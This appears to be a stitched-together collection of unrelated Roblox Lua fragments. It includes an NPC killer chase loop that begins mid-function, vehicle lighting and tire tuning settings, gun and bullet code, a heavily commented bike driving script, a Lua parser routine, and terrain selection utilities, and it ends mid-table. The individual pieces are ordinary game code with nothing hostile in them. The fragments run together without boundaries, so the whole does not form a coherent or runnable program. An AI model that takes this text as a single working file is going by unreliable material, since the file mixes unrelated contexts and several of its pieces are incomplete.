JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=34; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=3000; JeffTheKillerHumanoid.JumpPower=100; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
--wait(math.random(0,5)/10)
while true do wait(0.5) local target = findNearestTorso(script.Parent.Torso.Position) if target ~= nil then script.Parent.Zombie:MoveTo(target.Position, target) end end
-- LIGHT SETTINGS --[[ LIGHT TYPES: - Halogen - LED ]]
-- local Low_Beam_Brightness = 2.25 local High_Beam_Brightness = 3.15 local Fog_Light_Brightness = 1.75 local Rear_Light_Brightness = 1.5 local Brake_Light_Brightness = 2.5 local Reverse_Light_Brightness = 1 local Headlight_Type = "Halogen" local Indicator_Type = "LED" local Fog_Light_Type = "LED" local Plate_Light_Type = "Halogen" local Rear_Light_Type = "LED" local Reverse_Light_Type = "LED" local Running_Light_Location = "Custom DRL" -- Where your running lights will luminate. ("Low Beam / Indicators" and "Low Beam". LED DRLS or any DRL in a differnet position go in the Running model, change the string to "Custom DRL") local Fade_Time = 0.35 -- How long it takes for the light to fully turn on. (works only with Halogen, default is 0.35 seconds) local Indicator_Flash_Rate = 0.3 -- Rate of change between each indicator state. (in seconds) local Popup_Hinge_Angle = -0.75 -- Changes the angle of your popup headlights. (only use if your car has popups) local Auto_Lights = true -- Enables the automatic turning on or off of the lights based on the time of day. (Not Working Yet)
---------------------------------------------------------------------------------------------------- -----------------=[ General ]=---------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
TeamKill = false --- Enable TeamKill? ,TeamDamageMultiplier = 1 --- Between 0-1 | This will make you cause less damage if you hit your teammate ,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces... ,AntiBunnyHop = false --- Enable anti bunny hop system? ,JumpCoolDown = 3 --- Seconds before you can jump again ,JumpPower = 50 --- Jump power, default is 50 ,RealisticLaser = true --- True = Laser line is invisible ,ReplicatedLaser = true ,ReplicatedFlashlight = true ,EnableRagdoll = true --- Enable ragdoll death? ,TeamTags = true --- Aaaaaaa ,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD
--please note: this script is modified from the originals (the ones in the cars). --If you are looking for scripting tips and tricks, I suggest looking at one from --a car instead of this bike!
task.wait(0.1) Players = game:GetService("Players") seat = script.Parent-- the driving seat car = seat.Parent Player = nil forwardsSpeed = 80--if you removed the Configuration folder, it defaults to this speed forwards reverseSpeed = 10--if you removed the Configuration folder, it defaults to this speed backwards StartTime = 1--how long (in seconds) the car should wait before starting up. This is dependant on the starting sfx engineBlock = car:FindFirstChild("EngineBlock")--maybe someone doesn't like sound? lightsOn = false-- whether or not the lights turn on carRunning = false--whether or not the car is running RemoteControlled = car:FindFirstChild("ControlByRemote")--this is so the car turns properly function CalculatePitch()--this returns the pitch that the engine should be at when its travelling return 1+engineBlock.Velocity.magnitude/100 end Configuration = car:FindFirstChild("Configuration")-- so you can change the stats of the car if Configuration then-- if we found an object named Configuration in the car then do this stuff: local ReverseSpeedValue = Configuration:FindFirstChild("Reverse Speed")-- do we have a reverse speed? if ReverseSpeedValue ~= nil then if type(ReverseSpeedValue.Value) == "number" then reverseSpeed = ReverseSpeedValue.Value end ReverseSpeedValue.Changed:connect(function()-- level 1 scripting: go if ReverseSpeedValue.Parent ~= nil then-- this script works, but there are some things if type(ReverseSpeedValue.Value) == "number" then-- to make it look a little better reverseSpeed = ReverseSpeedValue.Value UpdateVehicle() end end end) end local ForwardsSpeedValue = Configuration:FindFirstChild("Forwards Speed") if ForwardsSpeedValue then if type(ForwardsSpeedValue.Value) == "number" then forwardsSpeed = ForwardsSpeedValue.Value end ForwardsSpeedValue.Changed:connect(function()-- level 2 scripting: go if ForwardsSpeedValue.Parent then -- asking if something 'is' is the same as if ForwardsSpeedValue.Value then-- asking if it is "~= nil" forwardsSpeed = ForwardsSpeedValue.Value UpdateVehicle() end end end) end local TorqueValue = Configuration:FindFirstChild("Torque") if TorqueValue then if type(TorqueValue.Value)=="number" and RemoteControlled then RemoteControlled.Torque = TorqueValue.Value end TorqueValue.Changed:connect(function() if TorqueValue.Parent and type(TorqueValue.Value) == "number" and RemoteControlled then RemoteControlled.Torque = TorqueValue.Value end end) end end script.BikeSteering.Seat.Value = seat if RemoteControlled and not RemoteControlled:IsA("VehicleSeat") then-- how dare you try to disturb this ancient harmony RemoteControlled = nil-- no food 4 u! end seat.ChildAdded:connect(function(it)-- something was added to our seat! if it:IsA("Weld") and it.Name == "SeatWeld" then-- is it the kind of thing players use to sit with? Player = Players:GetPlayerFromCharacter(it.Part1.Parent)-- is there a player attached to it? if Player then-- hooray! a player WAS attached to the seat weld. It's time to start the car! script.BikeSteering:Clone().Parent = Player.Backpack-- for better driving if RemoteControlled then RemoteControlled.MaxSpeed = 0-- not yet little child end if engineBlock and engineBlock:FindFirstChild("Starting") and engineBlock.Starting:IsA("Sound") then engineBlock.Starting:Play() end if engineBlock and engineBlock:FindFirstChild("Stopping") and engineBlock.Stopping:IsA("Sound") then engineBlock.Stopping:Stop() end task.wait(StartTime)-- just in case you use different starting sound effects if it.Parent ~= seat then-- DID OUR LOVELY PLAYER LEAVE WHILE WE WEREN'T LOOKING??????? byebye()--maybe they did, so it's time to shut down the car else-- they didn't leave! lightsOn = true-- turn on the lights carRunning = true-- turn on the car updatelights()-- make sure we turn on the lights UpdateVehicle()-- maybe they're in a hurry, so we better check if they have their foot on the gas if engineBlock and engineBlock:FindFirstChild("Running") and engineBlock.Running:IsA("Sound") then engineBlock.Running:Play() engineBlock.Running.Pitch = CalculatePitch() end end end end end) seat.ChildRemoved:connect(function(it)--did an object get removed? if it:isA("Weld") and it.Name == "SeatWeld" then-- if it's a weld and named like a seat weld byebye()-- time to shut down the car end end) function byebye() if engineBlock and carRunning then-- remember scripting level 3? that applies to below: if engineBlock and engineBlock:FindFirstChild("Stopping") and engineBlock.Stopping:IsA("Sound") then engineBlock.Stopping:Play()-- where if it didn't do it like that, the above would error! task.wait(0.1) -- because engineBlock.Stopping would not exist, so :IsA() is end -- "not a valid member" if engineBlock and engineBlock:FindFirstChild("Running") and engineBlock.Running:IsA("Sound") then engineBlock.Running:Stop()-- WE MUST NOT STOP end if engineBlock and engineBlock:FindFirstChild("Starting") and engineBlock.Starting:IsA("Sound") then engineBlock.Starting:Stop()-- THIS SCRIPT IS BREAK-PROOF >:U end end if RemoteControlled then RemoteControlled.MaxSpeed = 0--make sure that the car doesn't drive off without us end carRunning = false lightsOn = false updatelights()--turn the lights off UpdateVehicle()--make sure the car stops now that it's off end RearLight = {}--all the brake lights. These contain one SpotLight that gets manipulated RearBulb = {}--the brake lights that use a Surface GUI to light up FrontLight = {}--same as the RearLight but for the front FrontBulb = {}--same as the RearBulb but for the front ReverseLight = {}--These light up when you reverse ReverseBulb = {}--these also light up when you reverse: SurfaceGui style for _, i in pairs (car:GetChildren()) do--populate the tables for ease of modularity. if i.Name == "RearBulb" then-- you can have any number of these items you want table.insert(RearBulb,i)-- and you don't have to change the script one bit! elseif i.Name == "RearLight" then table.insert(RearLight,i.SpotLight) elseif i.Name == "FrontLight" then table.insert(FrontLight,i.SpotLight) elseif i.Name == "ReverseLight" then table.insert(ReverseLight,i.SpotLight) elseif i.Name == "FrontBulb" then table.insert(FrontBulb,i) elseif i.Name == "ReverseBulb" then table.insert(ReverseBulb,i) end end function updatelights()-- this turns the lights on and off based on the lightsOn value for _,i in pairs (RearLight) do i.Enabled = lightsOn end for _,i in pairs (FrontLight) do i.Enabled = lightsOn end for _,i in pairs (FrontBulb) do SurfaceGuiStandard(i,lightsOn) end for _,g in pairs (RearBulb) do SurfaceGuiBrightness(g,lightsOn,seat.Throttle == 0) end end function CreateStabilizer() if car:FindFirstChild("Stabilizer") then car.Stabilizer:Destroy() end if car:FindFirstChild("LeftHelper") then local stabilizer = Instance.new("Part",car) stabilizer.CanCollide = false--the bike not working was because I forgot this! stabilizer.BottomSurface = "Smooth" stabilizer.TopSurface = "Smooth" stabilizer.FormFactor = "Custom" stabilizer.Size = Vector3.new(3,3,1) stabilizer.Transparency = 1 stabilizer.Name = "Stabilizer" stabilizer.CFrame = car.LeftHelper.CFrame*CFrame.new(0,0,1) local Hinge = Instance.new("Rotate",stabilizer)--mega hax! Hinge.C0 = CFrame.new() Hinge.C1 = CFrame.new(0,0,-1) Hinge.Part0 = car.LeftHelper Hinge.Part1 = stabilizer local gyro = Instance.new("BodyGyro",stabilizer) gyro.D = 700 gyro.maxTorque = Vector3.new(600000, 0, 600000) gyro.P = 30000 gyro.cframe = CFrame.new()*CFrame.Angles(math.pi,math.pi/2,0) end end flippingDebounce = false-- a debounce is a simple way of preventing a function from -- being called multiple times while it's still running function Flip() if not flippingDebounce then-- here's how it works: the function checks if the debounce is off flippingDebounce = true-- if it's on, then the function stops, but if it's off, set it to true local bodypos = Instance.new("BodyPosition",seat)-- so we get uninterupted function fun bodypos.maxForce = Vector3.new(100000,10000000,100000) bodypos.position = seat.Position + Vector3.new(0,2,0) local bodygyro = Instance.new("BodyGyro",seat) game:GetService("Debris"):AddItem(bodypos, 3)-- this makes sure that the flippy bit game:GetService("Debris"):AddItem(bodygyro, 3)-- deletes itself automatically task.wait(2) CreateStabilizer() task.wait(1) flippingDebounce = false-- when we are done with our fun, allow the function to work again end end function SurfaceGuiStandard(part,on)-- this makes it so the lights turn on or off for _,i in pairs (part:GetChildren()) do if i:IsA("SurfaceGui") then i.Enabled = on end end end function SurfaceGuiBrightness(part,on,bright)-- this is so the brake lights dim when we drive for _,i in pairs (part:GetChildren()) do if i:IsA("SurfaceGui") then i.Enabled = on if i:FindFirstChild("Frame") and i.Frame:IsA("Frame") then i.Frame.Transparency = bright and 0 or 0.5-- scripting level 4: go end-- for simple statements, you can have a boolean value decide between 2 values -- which is the same as writing -- "if bright then -- i.Frame.Transparency = 0 -- else -- i.Frame.Transparency = 0.5 -- end" --but instead of "then" and "else", you use "and" and "or" end end end hornDebounce = false function Honk()-- if you are reading this then congratulations! you win a prize! if hornDebounce then return end-- unfortunately, I could not think of a way if engineBlock and engineBlock:FindFirstChild("Horn") and engineBlock.Horn:IsA("Sound") then hornDebounce = true-- to allow people to be able to honk the horn for both PC and mobile engineBlock.horn:Play() -- in an unobtrusive way. Sorry! :( print("beep beep") -- UristMcSparks, the guy in charge of the toolbox, doesn't want print statements task.wait(0.5)-- but since this is a secret, lets keep it between you and me, OK? engineBlock.horn:Stop() hornDebounce = false end end function UpdateVehicle()-- this is for the brake lights and speed and stuff like that if seat.Throttle == 1 and carRunning then-- if we're going forwards seat.MaxSpeed = forwardsSpeed-- give it forwards speed elseif seat.Throttle == -1 and carRunning then-- if we're going backwards seat.MaxSpeed = reverseSpeed-- give it backwards speed else seat.MaxSpeed = 0 -- otherwise, give it 0 speed end if workspace.FilteringEnabled and RemoteControlled then--the idea from scripting level 2 applies to false as well RemoteControlled.Throttle = seat.Throttle-- that is, it also works for "~= false" end-- the reason this line exists is to prevent the server from doing something the client -- is already doing. for _,h in pairs (ReverseLight) do-- all these loops below are just updating the lights h.Enabled = lightsOn and seat.Throttle == -1 end for _,i in pairs (ReverseBulb) do SurfaceGuiStandard(i,lightsOn and seat.Throttle == -1) end for _,j in pairs (RearLight) do j.Brightness = 4-math.abs(seat.Throttle)*3 end for _,k in pairs (RearBulb) do SurfaceGuiBrightness(k,lightsOn,seat.Throttle == 0) end end seat.Changed:connect(UpdateVehicle)-- this is so that when someone drives the car -- the brake and reverse lights change -- and the speed of the car changes CreateStabilizer() while true do for i = 1, 60 do--60/30 == 2, 2 seconds between deciding if it's upside down task.wait()-- we want the steering and sfx to update as many times a second as we can if workspace.FilteringEnabled then if car:FindFirstChild("LeftMotor") then car.LeftMotor.DesiredAngle = seat.Steer*math.rad(20-seat.Velocity.magnitude/10) end if car:FindFirstChild("RightMotor") then car.RightMotor.DesiredAngle = seat.Steer*math.rad(20-seat.Velocity.magnitude/10) end end -- below: make sure there's a sound to play if carRunning and engineBlock and engineBlock:FindFirstChild("Running") and engineBlock.Running:IsA("Sound") then engineBlock.Running.Pitch = CalculatePitch()-- and make sure that the car is on before trying -- to make sure the engine sounds good end end if car:FindFirstChild("Stabilizer") and car:FindFirstChild("LeftHelper") then if car.Stabilizer.CFrame.lookVector:Dot(car.LeftHelper.CFrame.lookVector) < 0.85 then CreateStabilizer() end elseif car:FindFirstChild("LeftHelper") then CreateStabilizer() end if not flippingDebounce and (seat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.Y < 0.2 then--am I upside down? task.spawn(Flip)--flip the bike right side up -- as a fun experiment, see what happens if you replace "task.spawn(Flip)" with "Flip()" -- and see what the difference is when you drive the car off the baseplate -- if you did it right, you'll notice that the engine sound changes differently! end end
--// Todo: --// Fix a loooootttttttt of bugged commands --// Probably a lot of other stuff idk --// Transform from Sceleratis into Dr. Sceleratii; Evil alter-ego; Creator of bugs, destroyer of all code that is good --// Maybe add a celery command at some point (wait didn't we do this?) --// Say hi to people reading the script --// ... --// "Hi." - Me
-- without key
for i = 1, #t2 do text.Text = string.sub(t2, 1, i) wait(0.01) end script.Parent.sound.beeb.Playing = false wait(5) script.Disabled = true script.Parent.Frame:Destroy() script.Parent.Frame2:Destroy() script.Parent.sound.beeb:Destroy()
----idle --mouse.KeyUp:connect(function (key2) --key2 = string.lower(key2) --print(key2) -- -- ----if key2 == "w" then -- local i = 1 --while key2=="w" do -- carSeat.exhaust.Part.Spring.Stiffness = 0 -- print("stiffness is 0") -- wait(1) -- carSeat.exhaust.Part.Spring.Stiffness = 500 -- print("stiffness is 500") -- wait(1) -- -- i = i + 1 -- -- print(i) --if key2=="q" then break -- end --end -- -- -- -- --end --end) -- --
--------------------[ TEXTURE CREATION FUNCTIONS ]------------------------------------
function createBullet(Direction) local Origin = Gun.Main.CFrame.p local bulletCF = CF(Origin, Origin + Direction) local Bullet = Instance.new("Part") Bullet.BrickColor = S.bulletSettings.Color Bullet.Material = Enum.Material.Neon Bullet.Name = "Bullet" Bullet.CanCollide = false Bullet.FormFactor = "Custom" Bullet.Size = S.bulletSettings.Size Bullet.BottomSurface = "Smooth" Bullet.TopSurface = "Smooth" if math.min(S.bulletSettings.Size.X, S.bulletSettings.Size.Y, S.bulletSettings.Size.Z) < 0.2 then local Mesh = Instance.new("BlockMesh") Mesh.Scale = S.bulletSettings.Size / Vector3.new( math.max(S.bulletSettings.Size.X, 0.2), math.max(S.bulletSettings.Size.Y, 0.2), math.max(S.bulletSettings.Size.Z, 0.2) ) Mesh.Parent = Bullet end local BF = Instance.new("BodyForce") BF.force = V3(0, Bullet:GetMass() * (196.2 - S.bulletSettings.Acceleration), 0) BF.Parent = Bullet Bullet.Parent = gunIgnore Bullet.CFrame = bulletCF + Direction * S.bulletSettings.Size.Z / 2 Bullet.Velocity = Direction * S.bulletSettings.Velocity return Bullet end
-- Объявляем работу с БД игры
local DataStore2 = require(game.ServerScriptService.DataStore2) -- вариант локального модуля local SSS = game:GetService("ServerScriptService") -- хранилище объектов local module = require(SSS.Statistika.Main)
--------END SIDE SQUARES-------- --------LIGHT SET 1--------
game.Workspace.lightset1.l1.BrickColor = BrickColor.new(194) game.Workspace.lightset1.l2.BrickColor = BrickColor.new(194) game.Workspace.lightset1.l3.BrickColor = BrickColor.new(194) game.Workspace.lightset1.l4.BrickColor = BrickColor.new(194) game.Workspace.lightset1.l5.BrickColor = BrickColor.new(194)
--// B_arocena
script.Parent.ClickDetector.MouseClick:connect(function(plr) plr.Character.Torso.Anchored = true plr.PlayerGui.GunShop.Main.Visible = true end)
------------------------------------------------------------------------ -- parse a table record (hash) field -- * used in constructor() ------------------------------------------------------------------------
function luaY:recfield(ls, cc) -- recfield -> (NAME | '['exp1']') = exp1 local fs = ls.fs local reg = ls.fs.freereg local key, val = {}, {} -- expdesc if ls.t.token == "TK_NAME" then self:checklimit(fs, cc.nh, self.MAX_INT, "items in a constructor") self:checkname(ls, key) else -- ls->t.token == '[' self:yindex(ls, key) end cc.nh = cc.nh + 1 self:checknext(ls, "=") local rkkey = luaK:exp2RK(fs, key) self:expr(ls, val) luaK:codeABC(fs, "OP_SETTABLE", cc.t.info, rkkey, luaK:exp2RK(fs, val)) fs.freereg = reg -- free registers end
------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------ --------------------------------------------Terrain Utilities Begin----------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------ --makes a wedge at location x, y, z --sets cell x, y, z to default material if parameter is provided, if not sets cell x, y, z to be whatever material it previously w --returns true if made a wedge, false if the cell remains a block
t.MakeWedge = function(x, y, z, defaultmaterial) return game:GetService("Terrain"):AutoWedgeCell(x,y,z) end t.SelectTerrainRegion = function(regionToSelect, color, selectEmptyCells, selectionParent) local terrain = game:GetService("Workspace"):FindFirstChild("Terrain") if not terrain then return end assert(regionToSelect) assert(color) if not type(regionToSelect) == "Region3" then error("regionToSelect (first arg), should be of type Region3, but is type",type(regionToSelect)) end if not type(color) == "BrickColor" then error("color (second arg), should be of type BrickColor, but is type",type(color)) end -- frequently used terrain calls (speeds up call, no lookup necessary) local GetCell = terrain.GetCell local WorldToCellPreferSolid = terrain.WorldToCellPreferSolid local CellCenterToWorld = terrain.CellCenterToWorld local emptyMaterial = Enum.CellMaterial.Empty -- container for all adornments, passed back to user local selectionContainer = Instance.new("Model") selectionContainer.Name = "SelectionContainer" selectionContainer.Archivable = false if selectionParent then selectionContainer.Parent = selectionParent else selectionContainer.Parent = game:GetService("Workspace") end local updateSelection = nil -- function we return to allow user to update selection local currentKeepAliveTag = nil -- a tag that determines whether adorns should be destroyed local aliveCounter = 0 -- helper for currentKeepAliveTag local lastRegion = nil -- used to stop updates that do nothing local adornments = {} -- contains all adornments local reusableAdorns = {} local selectionPart = Instance.new("Part") selectionPart.Name = "SelectionPart" selectionPart.Transparency = 1 selectionPart.Anchored = true selectionPart.Locked = true selectionPart.CanCollide = false selectionPart.Size = Vector3.new(4.2,4.2,4.2) local selectionBox = Instance.new("SelectionBox") -- srs translation from region3 to region3int16 local function Region3ToRegion3int16(region3) local theLowVec = region3.CFrame.p - (region3.Size/2) + Vector3.new(2,2,2) local lowCell = WorldToCellPreferSolid(terrain,theLowVec) local theHighVec = region3.CFrame.p + (region3.Size/2) - Vector3.new(2,2,2) local highCell = WorldToCellPreferSolid(terrain, theHighVec) local highIntVec = Vector3int16.new(highCell.x,highCell.y,highCell.z) local lowIntVec = Vector3int16.new(lowCell.x,lowCell.y,lowCell.z) return Region3int16.new(lowIntVec,highIntVec) end -- helper function that creates the basis for a selection box function createAdornment(theColor) local selectionPartClone = nil local selectionBoxClone = nil if #reusableAdorns > 0 then selectionPartClone = reusableAdorns[1]["part"] selectionBoxClone = reusableAdorns[1]["box"] table.remove(reusableAdorns,1) selectionBoxClone.Visible = true else selectionPartClone = selectionPart:Clone() selectionPartClone.Archivable = false selectionBoxClone = selectionBox:Clone() selectionBoxClone.Archivable = false selectionBoxClone.Adornee = selectionPartClone selectionBoxClone.Parent = selectionContainer selectionBoxClone.Adornee = selectionPartClone selectionBoxClone.Parent = selectionContainer end if theColor then selectionBoxClone.Color = theColor end return selectionPartClone, selectionBoxClone end -- iterates through all current adornments and deletes any that don't have latest tag function cleanUpAdornments() for cellPos, adornTable in pairs(adornments) do if adornTable.KeepAlive ~= currentKeepAliveTag then -- old news, we should get rid of this adornTable.SelectionBox.Visible = false table.insert(reusableAdorns,{part = adornTable.SelectionPart, box = adornTable.SelectionBox}) adornments[cellPos] = nil end end end -- helper function to update tag function incrementAliveCounter() aliveCounter = aliveCounter + 1 if aliveCounter > 1000000 then aliveCounter = 0 end return aliveCounter end -- finds full cells in region and adorns each cell with a box, with the argument color function adornFullCellsInRegion(region, color) local regionBegin = region.CFrame.p - (region.Size/2) + Vector3.new(2,2,2) local regionEnd = region.CFrame.p + (region.Size/2) - Vector3.new(2,2,2) local cellPosBegin = WorldToCellPreferSolid(terrain, regionBegin) local cellPosEnd = WorldToCellPreferSolid(terrain, regionEnd) currentKeepAliveTag = incrementAliveCounter() for y = cellPosBegin.y, cellPosEnd.y do for z = cellPosBegin.z, cellPosEnd.z do for x = cellPosBegin.x, cellPosEnd.x do local cellMaterial = GetCell(terrain, x, y, z) if cellMaterial ~= emptyMaterial then local cframePos = CellCenterToWorld(terrain, x, y, z) local cellPos = Vector3int16.new(x,y,z) local updated = false for cellPosAdorn, adornTable in pairs(adornments) do if cellPosAdorn == cellPos then adornTable.KeepAlive = currentKeepAliveTag if color then adornTable.SelectionBox.Color = color end updated = true break end end if not updated then local selectionPart, selectionBox = createAdornment(color) selectionPart.Size = Vector3.new(4,4,4) selectionPart.CFrame = CFrame.new(cframePos) local adornTable = {SelectionPart = selectionPart, SelectionBox = selectionBox, KeepAlive = currentKeepAliveTag} adornments[cellPos] = adornTable end end end end end cleanUpAdornments() end ------------------------------------- setup code ------------------------------ lastRegion = regionToSelect if selectEmptyCells then -- use one big selection to represent the area selected local selectionPart, selectionBox = createAdornment(color) selectionPart.Size = regionToSelect.Size selectionPart.CFrame = regionToSelect.CFrame adornments.SelectionPart = selectionPart adornments.SelectionBox = selectionBox updateSelection = function (newRegion, color) if newRegion and newRegion ~= lastRegion then lastRegion = newRegion selectionPart.Size = newRegion.Size selectionPart.CFrame = newRegion.CFrame end if color then selectionBox.Color = color end end else -- use individual cell adorns to represent the area selected adornFullCellsInRegion(regionToSelect, color) updateSelection = function (newRegion, color) if newRegion and newRegion ~= lastRegion then lastRegion = newRegion adornFullCellsInRegion(newRegion, color) end end end local destroyFunc = function() updateSelection = nil if selectionContainer then selectionContainer:Destroy() end adornments = nil end return updateSelection, destroyFunc end
--Tune
local _Select = "AllSeason" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive local _Custom = { TireWearOn = true , --Friction and Wear --Friction and Wear FWearSpeed = 0 , FTargetFriction = 1.1 , FMinFriction = .4 , RWearSpeed = 0 , RTargetFriction = 1.1 , RMinFriction = .4 , --Tire Slip TCSOffRatio = 1/4 , WheelLockRatio = 1/4 , --SS6 Default = 1/4 WheelspinRatio = 1/1.2 , --SS6 Default = 1/1.2 --Wheel Properties FFrictionWeight = 1 , --SS6 Default = 1 RFrictionWeight = 1 , --SS6 Default = 1 FLgcyFrWeight = 10 , RLgcyFrWeight = 10 , FElasticity = .5 , --SS6 Default = .5 RElasticity = .5 , --SS6 Default = .5 FLgcyElasticity = 0 , RLgcyElasticity = 0 , FElastWeight = 1 , --SS6 Default = 1 RElastWeight = 1 , --SS6 Default = 1 FLgcyElWeight = 10 , RLgcyElWeight = 10 , --Wear Regen RegenSpeed = 3.6 --SS6 Default = 3.6 } local _AllSeason = { TireWearOn = true , --Friction and Wear FWearSpeed = .2 , --Don't change this FTargetFriction = .6 , -- .58 to .63 FMinFriction = 0.35 , --Don't change this RWearSpeed = .2 , --Don't change this RTargetFriction = .6 , -- .58 to .63 RMinFriction = 0.35 , --Don't change this --Tire Slip TCSOffRatio = 1 , --Don't change this WheelLockRatio = 1/6 , --Don't change this WheelspinRatio = 1/1.2 , --Don't change this --Wheel Properties FFrictionWeight = 2 , --Don't change this RFrictionWeight = 2 , --Don't change this FLgcyFrWeight = 0 , --Don't change this RLgcyFrWeight = 0 , --Don't change this FElasticity = 0 , 